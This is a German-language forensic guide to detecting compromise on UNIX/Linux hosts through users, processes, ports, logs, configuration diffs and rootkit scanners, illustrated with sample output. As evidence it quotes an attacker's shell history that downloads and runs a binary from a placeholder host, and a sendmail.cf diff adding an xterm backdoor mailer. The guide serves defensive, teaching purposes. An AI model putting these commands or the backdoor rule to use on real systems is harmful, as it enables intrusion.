Suche nach Hinweisen auf Kompromittierung am Beispiel von UNIX / Linux

Vorbereitung

Auch bei Routineüberprüfungen sollten Ein- und Ausgaben z.B. mit dem Befehl script mitgeschnitten werden. Stellt sich der anfängliche Verdacht als unbegründet heraus, hat das Protokoll keine zusätzliche Arbeit verursacht und kann theoretisch archiviert werden, um den Normalzustand zu veranschaulichen. (Natürlich zusätzlich zur regulären Dokumentation und nicht als Ersatz!) Sollte die Systemzeit bekanntermaßen nicht korrekt sein, am besten den Offset mit angeben.

linux:~ # script nachsehen.log
Script started on Wed Feb 13 13:36:26 2006
linux:~ # date; uname -a; uptime
Wed Apr 27 13:36:43 CEST 2005
Linux linux 2.4.10-4GB #1 Tue Sep 25 12:33:54 GMT 2001 i686 unknown
1:37pm  up 53 min,  1 user,  load average: 0.00, 0.00, 0.00
linux:~ # # auf meiner Armbanduhr: 13:41

Aktive Benutzer

Die gerade und vorherig angemeldeten Benutzer sollten kontrolliert werden. Mögliche Fragen:

  • Sind oder waren Benutzer zu ungewöhnlicher Zeit angemeldet ?

  • Gab es Logins von ungewöhnlichen Systemen ?

  • Gibt es neue Benutzer, die so nicht auf das System gehören?

  • User-ID '0' sollte nur für root vergeben sein ...

linux:~ # who
root     tty3     Feb 13 13:33
linux:~ # last -20
root     tty3                          Mon Feb 13 13:35   still logged in
bunten   tty1                          Mon Feb 13 12:44 - 12:44  (00:00)
seg      pts/0        82.76.131.64     Sun Feb 12 23:00 - 23:42  (00:42)
(...)
linux:~ # cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
(...)
bunten:x:500:100:andreas bunten:/home/bunten:/bin/bash
seg:x:000:100:user:/tmp:/bin/bash

Laufende Prozesse

Mögliche Ungereimtheiten bei den laufenden Prozessen:

  • Wird ungewöhnlich viel Rechenzeit verbraucht, könnte es sich um einen sog. Sniffer handeln, der Netzwerkverkehr protokolliert

  • Ist die Prozess-ID eines Services sehr hoch, obwohl er seit Start des Systems laufen sollte ? (Das gilt z.B. nicht für OpenBSD.)

  • Wird der Dienst nicht automatisch neu gestartet, lief aber trotzdem zuletzt mitten in der Nacht an ?

  • Läuft ein Prozess unter einer falschen Benutzerkennung ?

linux:~ # ps auxwww
USER     PID %CPU %MEM   VSZ  RSS TTY    STAT START   TIME COMMAND
root       1  0.0  0.0   620  256 ?      S    Feb05   0:05 init [5]
root       2  0.0  0.0     0    0 ?      SW   Feb05   0:00 [migration_CPU0]
(...)
wwwrun  5154  0.0  2.3 29004 24412 ?     S    Mar21   0:09 /usr/sbin/httpd -f /etc/httpd/httpd.conf
root     829  0.0  0.0  1708  700 ?      S    Feb05   0:00 /usr/sbin/cron
root     835  0.0  0.0 12272  800 ?      S    Feb05  63:21 /usr/sbin/nscd
root     921  0.0  0.1  3568 1116 ?      S    Feb05   0:03 /usr/X11R6/bin/xdm
root     923  0.0  0.0  1500  512 tty1   S    Feb05   0:00 /sbin/mingetty --noclear tty1
root     924  0.0  0.0  1500  512 tty2   S    Feb05   0:00 /sbin/mingetty tty2
wwwrun 26044  0.0  0.1  1892  768 ?      S    23:16   0:00 /usr/sbin/sshd

Netzwerkverbindungen

Für die offenen Netzwerkverbindungen gilt Ähnliches wie bei den Prozessen:

  • Haben ungewöhnliche Prozesse eine Netzwerkverbindung oder nehmen sogar selber auf einem Port Verbindungen an ?

  • Läuft ein Service, der nicht laufen sollte ?

  • Wird von einem bekannten Service ein falscher Port gebunden ?

Die Ausgabe von netstat hilft in der Regel weiter. Unter Linux kann können dabei auch gleich die dazugehörigen Prozesse ausgeben werden:

linux:~ # netstat -tupan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address        Foreign Address      State    PID/Program name   
tcp        0      0 0.0.0.0:111          0.0.0.0:*            LISTEN   329/portmap         
tcp        0      0 0.0.0.0:22           0.0.0.0:*            LISTEN   221/sshd            
tcp        0      0 0.0.0.0:31337        0.0.0.0:*            LISTEN   256/sshd            
udp        0      0 0.0.0.0:111          0.0.0.0:*                     329/portmap

Mit Hilfe von lsof kann der Prozess identifiziert und genauer untersucht werden, um z.B. die Datei mit dem Programmtext zu finden (Eintrag txt). In diesem Fall scheint es sich um einen SSH-Daemon zu handeln, der aus einem ungewöhnlichen Verzeichnis gestartet wurde:

linux:~ # lsof -PMnp 851
COMMAND  PID USER   FD   TYPE DEVICE    SIZE   NODE NAME
leet    851 root  cwd    DIR    3,6    4096      2 /
leet    851 root  rtd    DIR    3,6    4096      2 /
leet    851 root  txt    REG    3,6  343940 706846 /var/tmp/.../leet
leet    851 root  mem    REG    3,6  101927 606313 /lib/ld-2.3.5.so
leet    851 root  mem    REG    3,6  357668 639758 /usr/lib/libopensc.so.1.0.0
leet    851 root  mem    REG    3,6   95786 606405 /lib/libwrap.so.0.7.6
leet    851 root  mem    REG    3,6   32268 606418 /lib/libpam.so.0.80
leet    851 root  mem    REG    3,6   13830 606328 /lib/libdl-2.3.5.so
leet    851 root  mem    REG    3,6   74650 606350 /lib/libresolv-2.3.5.so
leet    851 root  mem    REG    3,6 1027732 639802 /usr/lib/libcrypto.so.0.9.7
leet    851 root  mem    REG    3,6   13029 606356 /lib/libutil-2.3.5.so
leet    851 root  mem    REG    3,6   73712 606385 /lib/libz.so.1.2.3
leet    851 root  mem    REG    3,6   94166 606333 /lib/libnsl-2.3.5.so
leet    851 root  mem    REG    3,6   47724 606326 /lib/libcrypt-2.3.5.so
leet    851 root  mem    REG    3,6   93556 639099 /usr/lib/libgssapi_krb5.so.2.2
leet    851 root  mem    REG    3,6  452564 639113 /usr/lib/libkrb5.so.3.2
leet    851 root  mem    REG    3,6  147412 639103 /usr/lib/libk5crypto.so.3.0
leet    851 root  mem    REG    3,6    6536 606397 /lib/libcom_err.so.2.1
leet    851 root  mem    REG    3,6 1417095 606359 /lib/tls/libc-2.3.5.so
leet    851 root  mem    REG    3,6   18700 639767 /usr/lib/libscconf.so.1.0.0
leet    851 root  mem    REG    3,6   27172 639641 /usr/lib/libopenct.so.1.0.0
leet    851 root  mem    REG    3,6   35180 639657 /usr/lib/libpcsclite.so.1.0.0
leet    851 root  mem    REG    3,6   93266 606363 /lib/tls/libpthread-2.3.5.so
leet    851 root  mem    REG    3,6    9364 639115 /usr/lib/libkrb5support.so.0.0
leet    851 root  mem    REG    3,6   36290 606335 /lib/libnss_compat-2.3.5.so
leet    851 root  mem    REG    3,6   42349 606343 /lib/libnss_nis-2.3.5.so
leet    851 root  mem    REG    3,6   46403 606339 /lib/libnss_files-2.3.5.so
leet    851 root  mem    REG    0,0              0 [heap] (stat: No such file or directory)
leet    851 root    0u   CHR    1,3           2562 /dev/null
leet    851 root    1u   CHR    1,3           2562 /dev/null
leet    851 root    2u   CHR    1,3           2562 /dev/null
leet    851 root    3u  IPv6  21178            TCP *:31337 (LISTEN)
linux:~ # telnet localhost 31337
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SSH-1.5-1.2.27
Connection closed by foreign host.

Das Programm lsof kann auch verwendet werden, um alle Prozesse auszugeben, die einen Port gebunden haben und auf Verbindungen warten. Dabei gibt hier lsof für den auf Port 31337 auf Verbindungen wartenden Prozess einen anderen Namen aus als eben netstat:

linux:~ # lsof -i
COMMAND PID USER   FD   TYPE DEVICE SIZE NODE NAME
sshd    262 root    3u  IPv4    550       TCP *:ssh (LISTEN)
portmap 331 root    3u  IPv4   1034       UDP *:sunrpc
portmap 331 root    4u  IPv4   1035       TCP *:sunrpc (LISTEN)
ssh     757 root    3u  IPv4   7514       TCP localhost:1023->localhost:ssh (ESTABLISHED)
sshd    758 root    4u  IPv4   7515       TCP localhost:ssh->localhost:1023 (ESTABLISHED)
leet    851 root    3u  IPv4   8601       TCP *:31337 (LISTEN)

Sowohl bei netstat (Option -n) als auch bei lsof (Option -PMn) sollten Name Lookups im DNS und /etc/services abgeschaltet werden, da es unnötig Zeit kostet und die Ausgabe dann leichter mit der auf anderen Systemen verglichen werden kann.

Anstatt nur auf dem lokalen System zu suchen, bietet es sich evtl. an, mit Hilfe von Programmen wie nmap von außen zu testen, auf welchen Ports Verbindungen angenommen werden. Ergibt sich eine Diskrepanz zur Ausgabe von netstat oder lsof, so wurde das System wahrscheinlich kompromittiert und ein Rootkit installiert.

Hinweise in den Logs

Die Suche nach Unregelmäßigkeiten in den Logfiles sollte ggf. ganz am Anfang durchgeführt werden. Was eine Unregelmäßigkeit darstellt ist aber sehr von der jeweiligen Installation abhängig. Ganz allgemein sollten folgende Ereignisse misstrauisch machen:

  • Unerwartete Neustarts von Diensten - speziell von syslog

  • Ungewöhnliche Fehlermeldungen oder gar Abstürze von Diensten

  • Allgemein können Steuerzeichen in den Logfiles auf einen Versuch zum Auslösen eines Buffer Overflows hinweisen

Idealerweise liegen die Logfiles nicht nur lokal vor, sondern zusätzlich in Kopie auf einem zentralen Log-Server, der besonders gut abgesichert wurde. Ein Vergleich der zentralen mit den lokalen Logfile-Einträgen kann dann sehr aufschlussreich sein. Die Logfiles auf Servern, Routern, Firewalls und evtl. vorhandenen Intrusion Detection Systemen sollten ebenso nach Unregelmäßigkeiten durchgesehen werden.

Nach Steuerzeichen kann z.B. mit Hilfe von grep gesucht werden, wobei die Ausgabe aber unbedingt durch einen Filter wie z.B. less bereinigt werden sollte. Weiterhin kann leicht nach den Begriffen error oder segment (von Segmentation Violation) gesucht werden.

linux:~ # grep [[:cntrl:]] /var/log/apache/error80.log | less
[Tue Jan 10 02:58:32 2006] [info] [client 192.0.2.93] (32)Broken pipe: client stopped
connection before rvputs completed^@^@^@^@^@^@^@^@^@^@^@[Tue Jan 10 07:15:55 2006]
[warn] pid file /usr/local/apache/logs/httpd.pid overwritten -- Unclean shutdown of
previous Apache run?

Die Shell-History von root oder dem Benutzer, unter dessen Kennung der angegriffene Prozess lief, kann oft sehr aufschlussreich sein.

linux:~ # less ~root/.bashrc
uname -a
ps
w
uptime
ls
ls -la
cd /var/tmp
ls
mkdir ...
cd ...
wget http://www.beispiel.com/binaryshadow-mirror/aVe
chmod +x aVe
./aVe
(...)

Änderungen in der Konfiguration

Manchmal sehen sich Angreifer gezwungen die Konfiguration des gerade kompromittierten Systems zu ändern, z.B. um die lokale Firewall für ihre Zwecke durchlässiger zu machen. Die Firewall kann man dann unvermutet abgeschaltet oder mit neuen Regeln vorfinden.

linux:~ # iptables -nL
ACCEPT     tcp  --  0.0.0.0/0        0.0.0.0/0       tcp dpt:31337 state NEW
ACCEPT     all  --  0.0.0.0/0        0.0.0.0/0
ACCEPT     all  --  0.0.0.0/0        0.0.0.0/0       state RELATED,ESTABLISHED
ACCEPT     icmp --  0.0.0.0/0        0.0.0.0/0
ACCEPT     tcp  --  192.0.2.0/24     0.0.0.0/0       tcp dpt:22 state NEW
(...)

Mit mount und df kann überprüft werden, ob eigentlich in Reserve gehaltene Platten montiert wurden und ob sich in einem Dateisystem unerwartet viele Daten befinden. Ist letzteres der Fall, wurde das System wahrscheinlich von den Angreifern als Lager oder evtl. sogar als Verteilstation für illegale Kopien von Software, Filmen, Pornographie und Ähnlichem missbraucht.

linux:~ # df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda7             2.0G  407M  1.5G  22% /
/dev/sda8              11G  8.8G  1.6G  85% /var/tmp
(...)
linux:~ # ls -alR /var/tmp
/var/tmp:
total 48
drwxrwxrwt  11 root     root      4096 2006-02-16 11:20 .
drwxr-xr-x  16 root     root      4096 2005-01-03 16:59 ..
drwx------  14 wwwrun   www       4096 2006-02-16 12:04 . .
-rw-------   1 root     root      1697 2006-02-13 11:40 host_0
drwx------   3 root     root      4096 2006-02-10 18:58 mkinitramfs.v22362
(...)
/var/tmp/. .:
total 16128896
d---------   3 wwwrun   www       1680 2006-02-16 17:13 .
drwx------   9 wwwrun   www       1112 2006-02-16 11:20 ..
----------   1 wwwrun   www       1056 2006-02-16 17:15 .permissions
----------   1 wwwrun   www  732749824 2006-02-16 19:17 Fuga.Dal.Natale-iTa.Opera.ScR.avi
----------   1 wwwrun   www  731217920 2006-02-16 19:19 Il.Fantasma.dell_Opera.Scr.avi
----------   1 wwwrun   www  735975424 2006-02-16 19:32 Killing words.ITA.DvDRiP.avi
----------   1 wwwrun   www  498642944 2006-02-16 18:55 Ray.DivX.iTa.sCr.McF.CD1.avi
----------   1 wwwrun   www  499249152 2006-02-16 19:35 Ray.DivX.iTa.sCr.McF.CD2.avi
----------   1 wwwrun   www  732469248 2006-02-16 19:02 Saw.L'enigmista-iTa.Opera.DvdScr.avi
----------   1 wwwrun   www  727651906 2006-02-16 19:34 The_Signals.ITA.dvdrip.avi
----------   1 wwwrun   www  736768000 2006-02-16 19:23 Topolino.strepitoso.natale.DvDRiP.avi
----------   1 wwwrun   www  727267032 2006-02-16 19:56 Tube-iTa.Opera.DvdRip.avi
----------   1 wwwrun   www  686923776 2006-02-16 19:25 Worms.Forts-Under.Siege.ITA.iso
(...)

Spuren im Dateisystem

Oft lassen die Angreifer Dateien und Verzeichnisse im Dateisystem zurück, die uns als Hinweise dienen. Bei der Ausnutzung von Schwachstellen werden oft Dateien angelegt z.B. um diese dann sofort zu starten. Damit der Angriff möglichst generisch funktioniert, werden dabei Verzeichnisse gewählt, die auf jedem System vorhanden sind und die bestimmt für die Benutzer beschreibbar sind, unter deren Kennung das angegriffene Programm betrieben wird.

In Frage kommen dadurch z.B. /tmp, /var/tmp, das Arbeitsverzeichnis des jeweiligen Prozesses oder das Wurzelverzeichnis, wenn der angegriffene Prozess mit den Rechten von root lief.

linux:~ # ls -alR /tmp
total 296
drwxrwxrwt  12 root   root       8192 2006-02-15 17:15 .
drwxr-xr-x  24 root   root       4096 2006-02-15 08:44 ..
srw-rw----   1 paul   irt           0 2006-02-15 17:15 alsa-dmix-6817-1140020114-333503
drwxrwxrwt   2 paul   irt        4096 2006-02-15 08:47 .esd
drwx------   2 root   root       4096 2005-12-08 16:01 gconfd-root
srw-rw-rw-   1 root   root          0 2006-02-15 08:44 .gdm_socket
drwx------   2 paul   users      4096 2006-02-10 08:54 gpg-clurDQ
drwx------   2 paul   users      4096 2006-02-15 08:47 gpg-UMoBmi
drwxrwxrwt   2 root   root       4096 2006-02-15 08:47 .ICE-unix
-rwxrwxrwx   1 wwwrun wwwrun       16631 2006-02-14 03:12 www.spxxxxxxx.org_xx.txt
-rw-------   1 root   root        483 2006-01-04 15:16 krb5cc_0_b15961
-rw-------   1 root   root        483 2006-01-04 15:06 krb5cc_0_J15621
-rw-------   1 root   root        483 2005-12-09 15:15 krb5cc_0_N10699
(...)

Neben den absichtlich hinterlegten Dateien bleiben vom Angriff evtl. Coredumps zurück, weil ein Angriff selten direkt beim ersten mal erfolgreich ist und der betroffene Prozess abstürzt. Da Dienste nicht einfach so abstürzen sollten, sollten diese besonders misstrauisch machen. Mit Hilfe von file lässt sich leicht herausfinden, welches Programm den Coredump produziert hat. Typische Verzeichnisse für verdächtige Cordumps sind das Wurzelverzeichnis und die Arbeitsverzeichnisse der über das Netzwerk angebotenen Dienste.

linux:~ # file /core
/core: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4- style, \
SVR4-style, from 'sshd'

Neben den direkt beim Angriff erzeugten Dateien lassen Angreifer oft noch mehr auf dem kompromittierten System zurück. Dies sind oft Programme, die sie verwenden möchten, bspw. einen Sniffer zum Protokollieren von Passwörtern oder Programme, die eine Hintertür ins System öffnen (z.B. ein SSH-Daemon). Weiterhin werden von Sniffern Logfiles angelegt und Listen mit IP-Adressen verwaltet, die potentiell ebenso verwundbar sind usw.

Diese Dateien werden oft in Verzeichnissen abgelegt, die nicht offensichtlich zu finden sind, da ihr Name z.B. mit einem Punkt beginnt, nur aus einem Freizeichen besteht oder an einer Stelle im Dateisystem liegt, in der man selten nach Änderungen sucht wie z.B. in /dev, /var/locale, /var/spool oder /usr/lib.

linux:~ # ls -alR /var/tmp
/var/tmp:
total 2059
drwxrwxrwt  6 root root    440 Feb 15 17:17 .
drwxr-xr-x 18 root root    440 Jan  1 22:08 ..
drwxrwxr-x  2 root root     72 Feb 15 17:17 ...
-rw-------  1 root root 426320 Jun 11  2004 sort0431400000
-rw-------  1 root root  97955 Jun 11  2004 sort0431400001
-rw-------  1 root root 524245 Jun 11  2004 sort0431400002
-rw-------  1 root root 524244 Jun 11  2004 sort0431400003
-rw-------  1 root root 524263 Jun 11  2004 sort0431400004
(...)
/var/tmp/...:
total 293
drwxrwxr-x 2 root root     72 Feb 15 03:17 .
drwxrwxrwt 6 root root    440 Feb 15 03:17 ..
-rw--w--w- 1 root root      1 Feb 15 03:19 .sniffer
-rwxr-xr-x 1 root root 297340 Feb 15 03:17 leet
(...)

Eine Hintertür ins System kann auf viele verschiedene Wege geöffnet werden. Anstatt ein neues Programm zu installieren, kann ein bestehendes wie z.B. der SSH-Daemon ausgetauscht werden, so dass es bei der Eingabe eines bestimmten Schlüsselwortes die normale Anmeldung umgeht und sofort eine Shell mit den Rechten von root bereitstellt oder z.B. die eingegebenen Passwörter protokolliert. Möglich ist auch eine Änderung an einer bestehenden Konfigurationsdatei, um eine unauffällige Hintertür ins System zu öffnen. Zentrale Konfigurationsdateien sollten daher auf Änderungen überprüft werden wie z.B. /etc/inetd.conf, ~root/.rhosts, /etc/hosts.equiv...

linux:~ # ls -alt /etc | head -10
total 4176
-rw-r--r--    1 root  root       642 2006-02-15 03:46 sendmail.cf
drwxrwxr-x    6 lp    lp        4096 2006-02-14 18:15 cups
drwxr-x---    2 ntp   root      4096 2006-02-14 17:44 ntp
drwxr-xr-x  131 root  root      8192 2006-02-14 15:46 .
-rw-r--r--    1 root  root       642 2006-02-14 15:46 mtab
drwxr-xr-x    8 root  root      4096 2006-02-14 11:15 texmf
drwxr-xr-x   24 root  root      4096 2006-02-14 08:44 ..
-rw-r--r--    1 root  root      1116 2006-02-14 08:44 blkid.tab
linux:~ # diff /etc/sendmail.cf ~root/backup/aktuelle_sendmail.cf
86,87d85
< # Xterm Trojan definition
< Ckgivemeashell
608d605
< R$=k < @$* > $*               $#hack $@ $2 $: $1   Bitte ein Bi^H^HXterm
1162,1165d1158
< # Xterm Trojan Mailer
< Mhack,          P=/usr/X11R6/bin/xterm, F=FMAlsSux, S=10/30, R=0, D=$z:/,
<                 A=xterm -display $s:0.0
<

Nach weiteren Spuren oder von den Angreifern auf das System gebrachten Dateien kann auch per find gesucht werden. Da das Programm aber durch das gesamte Dateisystem streift, werden die Zugriffszeiten aller Dateien geändert. Da man aber genau die bei einer forensischen Analyse untersuchen möchte, sollten find und andere Methoden, die jene Zugriffszeiten wertlos machen, nur im Notfall verwendet werden. Ist bereits klar, dass eine Kompromittierung vorliegt, sollte idealerweise ein Abbild der Dateisysteme erzeugt werden und auf diesem weitergearbeitet werden.

Soll trotzdem mit find nach Spuren gesucht werden, bieten sich z.B folgende Suchen an:

  • ... nach Dateien mit gesetztem SUID-Bit
    find / -type f \( -perm -04000 -o -perm -02000 \) -ls

  • ... nach core-Dateien
    find / -name core -ls

  • ... Dateien, die Gruppen oder Personen gehören, für die aber kein Name im System definiert ist
    find / \( -nouser -o -nogroup \) -ls

Ein Rootkit finden

Manchmal sind die Dateien und die Netzwerkverbindungen der Angreifer nicht zu finden, obwohl klar ist, dass ein Einbruch stattgefunden hat. Evtl. wurde in diesem Fall ein sog. Rootkit installiert, das die Spuren der Angreifer unsichtbar macht.

Ein Rootkit besteht oft aus ausgetauschten Systemprogrammen wie z.B. netstat, wobei die vom Angreifer eingebrachte Version manche Netzwerkverbindungen nicht mehr anzeigt. Programme die z.B. häufig in dieser Weise von Angreifern unter UNIX/Linux ausgetauscht werden:

login
ifconfig
ps
du
ls
netstat
in.fingerd
find
top
lsof
md5sum

Anstatt der Programme kann ein Angreifer auch Bibliotheken austauschen, auf die die entsprechenden Programme aufbauen, um die Manipulation an einer etwas zentraleren und schwerer zu entdeckenden Stelle durchzuführen.

Bei der Suche nach Manipulation sollten daher bevorzugt Programme verwendet werden, die auf einem separaten Medium gelagert werden wie Diskette, CD oder NFS-Mount. Diese sollte statisch gebunden sein, oder Bibliotheken benutzen, die ebenso von einem vertrauenswerten Medium kommen. Ergibt sich nun ein Unterschied in der Ausgabe der Systemprogramme in den lokalen Verzeichnissen und denen vom vertrauenswerten Medium, liegt offensichtlich ein Problem vor.

linux:/usr/src # ls -al
total 8
drwxr-xr-x   3 root     root         4096 Jan 13 21:34 .
drwxr-xr-x  25 root     root         4096 Jan 13 21:34 ..
linux:/usr/src # echo .*
. .. .puta
linux:/usr/src # tar -cf - . | tar -tvf - | grep "^d"
drwxr-xr-x root/root         0 2003-01-13 21:34:51 ./
drwxr-xr-x root/root         0 2003-01-13 20:19:24 ./.puta/

Es bietet sich an die Integrität der Systemprogramme zu überprüfen. Dies kann z.B. mit den Programmen tripwire, aide, samhein oder osiris gemacht werden. Dabei werden nach der Installation, bzw. zu einem Zeitpunkt an dem man sich sicher ist, dass noch keine Kompromittierung vorliegt, Kryptographische Hashes aller Systemprogramme erzeugt. Diese werden auf einem separaten Medium gespeichert und im Falle eines Verdachts mit frisch erzeugten Hashes verglichen, wobei ausgetauschte Programme entdeckt werden sollten.

linux:~ # aide -C
AIDE found differences between database and filesystem!!
Start timestamp: 2003-01-13 21:32:11
Summary:
Total number of files=17520,added files=16,removed files=0,changed files=43
(...)
changed:/bin
changed:/bin/ls
changed:/bin/netstat
changed:/bin/ps
changed:/bin/login
(...)

Wurden die notwendigen Hashes nicht im voraus erzeugt, so kann zur Not das lokal verwendete Paketsystem herangezogen werden, um ebenso Änderungen zu detektieren. Die dabei verwendete Datenbank könnte allerdings theoretisch vom Angreifer manipuliert worden sein. Ein derart einsetzbares Paketsystem ist z.B. RPM. Im Report wird dabei eine "5" notiert, um einen geänderten MD5-Hash anzuzeigen:

linux:~ # rpm -Vva
(...)
S.5....T   /bin/ls
S.5.....   /bin/netstat
SM5.....   /bin/ps
.M5....T   /bin/login
(...)

Es gibt auch spezielle Programme für die Suche nach Rootkits, von denen chkrootkit und rkhunter die bekanntesten sind. Diese Programme suchen nach bekannten Mustern bzw. Ungereimtheiten, die durch den Einsatz des jeweiligen Rootkits im System entstehen. Wurde das Rootkit modifiziert oder ist es relativ neu, so besteht die Gefahr, dass es so nicht gefunden werden kann.

linux:~ # ./chkrootkit
(...)
Checking `login'... INFECTED
Checking `ps'... INFECTED
(...)
Searching for t0rn's default files and dirs... Possible t0rn rootkit installed
(...)